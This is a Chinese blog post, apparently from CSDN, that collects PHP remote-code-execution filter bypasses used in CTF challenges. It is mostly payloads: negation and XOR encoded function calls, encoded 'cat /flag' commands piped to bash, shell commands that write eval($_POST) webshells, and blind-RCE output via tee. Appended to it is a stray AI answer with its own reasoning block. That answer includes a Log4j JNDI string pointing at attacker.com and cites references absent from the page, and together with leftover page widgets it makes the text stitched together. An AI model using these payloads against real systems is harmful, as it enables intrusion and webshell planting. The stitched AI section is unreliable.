PHP-RCE绕过的姿势总结

本文详细探讨了命令执行与代码执行的各种绕过方法,包括空格过滤、取反绕过、命令分隔符、黑名单绕过、编码技巧、单双引号绕过等,并给出了具体的例子和解题思路,适用于网络安全与Web应用安全的学习。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

做了很多的题目,静下心来学习大佬做点小总结


一、命令执行

空格过滤

在这里插入图片描述
在这里插入图片描述

<<>%20(space)%09(tab)、$IFS$9、 ${IFS}、$IFS等

取反绕过

取反两次就可以得到想要绕过限制的数据
在这里插入图片描述
传参时

?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
在做NSS平台上的一道rce题目就是用到类似的思路,这里是把system函数取反
要想做经典取反例题就是下面这道极客的题
[极客大挑战 2019]RCE ME,感兴趣可以去buu上做
wp链接[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)
搜到的大佬脚本

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

在这里插入图片描述

命令分隔符

linux中:%0a(回车)%0d(换行);&|&&||
windows中:%0a、&|%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

在这里插入图片描述

黑名单绕过(比如flag字符)

拼接

1.a=fl;b=ag;cat $a$b

或者如
在这里插入图片描述
在这里插入图片描述

2.用点来链接   
(sy.(st).em)
3.使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?>      
#   以上语句皆等效于<?php echo `ls /`; ?>

编码

1.base64编码绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
这边我是有点存疑的,我自己实验后是会报错的
echo 'Y2F0wqAK' | base64 -d 文件的名字
上面echo输出到d的地方会被命令行解析为cat,整个句子就可以变为cat 某个文件的文件名
从而达到绕过来查看内容的目的
但我却在kali里出现了如下错误提示

在这里插入图片描述

同样在ubuntu上也是不行
希望有懂得大佬能评论解惑一下==

在这里插入图片描述

2.Hex
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
3.oct
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

例题可见[GXYCTF 2019]Ping Ping Ping

单双引号的绕过

ca‘‘t flag 或ca""t flag

二、代码执行

两者之间的小区别
在这里插入图片描述

linux中的直接查看文件内容工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq

在这里插入图片描述

举例
cat `ls` (该目录下存在index.php和flag.php,也就是此命令会扫描当前目录然后读取所有文件)
等效于
cat flag.php;cat index.php

在这里插入图片描述

通过命令行写入webshell

linux
echo<?php eval(@\$_POST['pass']);?>> shell.php;

或者十六进制写法

echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php
windows
“echo ^<?php eval($_POST[pass]); ?^> > shell.php”

成功后就有一句话木马可以执行使用,相当于绕过过滤

无数字字母绕过webshell

上题目讲解:[ISITDTU 2019]EasyPHP
源码:

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

参考wp
在这里插入图片描述
count_chars() 函数返回字符串中所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。
可以看到~和^没有被过滤,所以应该使用异或和取反绕过。
试一下用取反查看phpinfo

(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
成功了
在这里插入图片描述
禁止很多函数
但我们可以用print_r(scandir(.))函数获得目录。

((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 后面就是(.)

但要绕过第二个if
本地测试后我们的payload经过count_chars之后长度为16,我们要想办法减少三个
这里有一个思路
先上脚本

str = 'acdips'
target = 'ntr'

for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))

得到

n = c^d^i
t = c^d^s
r = a^c^p

拿n为例。因为n = cdi 所以~n = ~cdi成立,即n ^0xff= cdi^0xff成立
再来看看我们的payload,取前部分print_r说明
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成:
(%8F%9E%96%9C%9C%A0%9E)(%FF%9C%FF%9B%9B%FF%9C)(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
在四个括号中,将要替换的字符用响应的三个代替字符代替,最后一个括号全为0xff相当于取反,而其他不变的字符不变,但异或了3个0xff相当于取反三次,等同于去反一次,所以仍不变,本地测试。
在这里插入图片描述

再进行替换
再用这个思路将payload中所有的ntr替换。
最后

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

在这里插入图片描述

print_r(scandir(.))

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

readfile(end(scandir(.)))

((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

无回显RCE

有时候碰到一些命令函数,比如exec执行是没有回显的,就可以采用使用重定向输出到文件,再查看文件内容的办法
在这里插入图片描述
看一道例题
在这里插入图片描述

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} Can you see anything?

绕过姿势很简单,但是关键就在绕过后看不到回显内容
我们采用输出到文件的方法

url=l\s / | tee 1.txt

访问1.txt
在这里插入图片描述
成功,读取flag就好
url=tac /flllll\aaaaaaggggggg | tee 2.txt
羽师傅的文章
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

⽆字⺟数字shell

当限制较多,不过⻓度较⻓时,考虑⽆字⺟数字shell
在这里插入图片描述

总结

参考文章

RCE漏洞之绕过
总结rce(远程代码执行各种sao姿势)绕过bypass
RCE的Bypass骚姿势
PHP空格绕过(给自己看)
RCE注入过滤

<think>嗯,用户想了解RCE漏洞绕过的方法和关键技术点。首先,我需要回忆一下RCE的基本概念。RCE是远程代码执行,攻击者能够在目标系统上执行任意代码,危害极大。用户提到的绕过可能是指绕过现有的防御措施,比如WAF、输入过滤或者沙箱环境。 首先,我得考虑常见的绕过技术。比如,命令注入中的特殊字符绕过,像分号、管道符、反引号这些。有时候,黑名单过滤不完善,可以用编码或替换字符的方式绕过。比如,用十六进制编码或者Base64编码命令,然后解码执行。 然后,用户提供的引用里有提到CVE-2024-0012,是关于身份认证绕过导致RCE的案例。这可能涉及权限提升或认证机制中的漏洞,比如利用会话管理的问题或者Cookie篡改。另外,引用3提到Log4j漏洞,涉及JNDI注入,这类漏洞利用特定的协议或服务来触发,绕过检测可能需要混淆payload,比如使用非常规的协议格式或拆分攻击字符串。 还需要考虑上下文,比如输入验证的漏洞。如果应用对用户输入处理不当,未正确转义或过滤,攻击者可能通过构造特殊输入注入恶意代码。例如,在SQL注入中,使用注释符或大小写混合绕过,类似的方法可能适用于RCE绕过。 另外,环境变量注入也是一种可能。比如,通过控制环境变量参数来执行命令,某些程序可能会信任特定的环境变量,从而导致代码执行。还有,利用动态代码执行函数,如PHP的eval,Python的exec,如果用户输入直接传递给这些函数,没有严格过滤,就会导致RCE。 还有,框架或库的漏洞,比如旧版本的库存在已知漏洞,攻击者可以利用这些未修补的漏洞执行代码。例如,Apache Struts的漏洞曾被广泛利用。 现在要结合用户提供的引用,引用1提到代码审计和静态分析,所以在绕过时可能需要找到代码审计中的疏漏,比如未覆盖的边缘情况。引用2中的认证绕过导致RCE,说明权限提升或绕过认证步骤是关键。引用3中的Log4j漏洞检测被WAF拦截,所以绕过WAF可能需要混淆技术。 总结下来,RCE绕过的方法可能包括:命令注入绕过过滤、利用编码或混淆、认证/授权绕过、框架漏洞利用、上下文敏感攻击(如模板注入)、以及利用信任机制漏洞。 需要确保回答结构清晰,分点说明,每个技术点给出例子,并引用提供的资料。比如,在认证绕过部分引用CVE-2024-0012的例子,在Log4j部分提到引用3的检测方法。 还要注意用户要求使用中文,LaTeX格式的数学表达式,但这个问题可能不太涉及数学公式,所以可能不需要太多数学内容。但如果有涉及变量或代码部分,需要用行内格式,比如$command$。 最后生成相关问题,要围绕RCE绕过的扩展,比如防御措施、特定漏洞分析、检测技术等。</think>### RCE漏洞绕过方法及关键技术点分析 #### 一、常见RCE漏洞绕过方法 1. **命令注入绕过** - **特殊字符替换**:利用黑名单未覆盖的符号(如`$()`、`%0a`、反引号)拼接命令,例如: ```bash # 原始命令:cat /etc/passwd # 绕过形式:c'a't /et$@c/pass''wd ``` - **编码转换**:使用Base64、十六进制或URL编码混淆命令,例如: ```bash echo "bHM=" | base64 -d | sh # 解码后执行"ls" ``` 2. **输入过滤绕过** - **多级嵌套解析**:利用应用层协议(如HTTP参数污染、JSON/XML解析差异)注入恶意代码[^3]。 - **上下文敏感攻击**:在模板注入(SSTI)中,通过构造`${"".getClass().forName("...")}`绕过沙箱限制。 3. **认证/授权绕过** - **会话伪造**:通过Cookie篡改或JWT令牌伪造绕过身份验证(如CVE-2024-0012中的Web界面认证绕过)[^2]。 - **路径遍历**:利用未校验的路径参数访问敏感接口,例如`/admin/../api/exec?cmd=id`。 4. **框架/库漏洞利用** - **动态加载漏洞**:如Log4j的JNDI注入(`${jndi:ldap://attacker.com/exp}`),通过DNS查询混淆绕过WAF检测。 - **反序列化漏洞**:利用Java/Python的反序列化机制触发恶意代码,例如Apache Commons Collections的Gadget链。 #### 二、关键技术点 1. **漏洞链组合** 通过多个漏洞串联实现绕过,例如: -绕过认证(CVE-2024-0012)→ 再利用权限提升漏洞(CVE-2024-9474)→ 最终执行任意命令[^2]。 $$ \text{RCE} = \text{认证绕过} \oplus \text{权限提升} \oplus \text{命令执行} $$ 2. **环境依赖利用** 利用目标系统环境变量或依赖库的缺陷,例如: ```bash # 注入环境变量实现命令执行 curl http://target.com/api?input=;export PATH=/tmp:$PATH;malicious-bin ``` 3. **混淆与逃逸技术** - **WAF绕过**:通过分块传输、注释插入或Unicode编码绕过正则匹配,例如: ```http POST /api HTTP/1.1 Transfer-Encoding: chunked 3; x=x\r\ncmd\r\n0\r\n\r\n ``` - **代码混淆**:在PHP中使用`${_GET['a']}`动态调用函数,避免直接出现敏感关键词。 #### 三、防御建议 1. **输入严格校验**:使用白名单机制限制字符集,例如仅允许`[a-zA-Z0-9_]`。 2. **沙箱隔离**:对动态代码执行操作进行资源隔离(如Docker容器)。 3. **依赖库更新**:定期升级框架/库版本(如Log4j升级到2.17.0+)。 4. **纵深防御**:结合WAF、RASP(运行时应用自保护)和代码审计[^1]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值